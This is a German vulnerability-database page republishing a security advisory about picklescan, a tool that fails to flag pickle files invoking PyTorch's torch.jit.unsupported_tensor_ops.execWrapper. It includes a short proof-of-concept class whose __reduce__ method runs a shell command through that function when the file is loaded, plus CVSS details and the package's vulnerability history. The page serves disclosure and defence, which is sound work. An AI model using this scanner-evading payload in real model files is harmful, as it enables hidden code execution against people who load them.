Hoch

Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper

  • Veröffentlicht: 22.08.2025
  • Aktualisiert: 11.10.2026 15:18

Summary

Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

python
import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops

class EvilTorchJitUnsupportedTensorOpsExecWrapper:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        glob = {}
        loc = {}
        return unsupported_tensor_ops.execWrapper, (code, glob, loc)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) picklescan < 0.0.28 0.0.28

Verweise

CVSS-Wert 8.1/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Schwäche (CWE)
CWE-345, CWE-502
Plattform
Python (PyPI)
Paket
picklescan
Veröffentlicht
22.08.2025
Aktualisiert
11.10.2026 15:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-4136 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-vr7h-p6mm-wpmh - CC BY 4.0

Schwachstellenhistorie: picklescan

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (58) im Archiv
Einträge insgesamt
58
Erste → letzte
02.2025 03.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 7
  • Hoch 25
  • Mittel 26

Veröffentlichungen pro Jahr

  1. 2025: 51
  2. 2026: 7
Schweregrad:
  1. Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper dieser Eintrag
    Hoch · 8.1 CVE-2025-71370 < 0.0.28 0.0.28
  2. Kritisch · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. Kritisch · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Hoch · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  5. Hoch · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  6. Hoch ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  7. Hoch CVE-2025-71320 < 0.0.33 0.0.33
  8. Hoch · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  9. Hoch CVE-2025-71321 < 0.0.33 0.0.33
  10. Kritisch · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Mehr anzeigen (11) 21 von 32 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.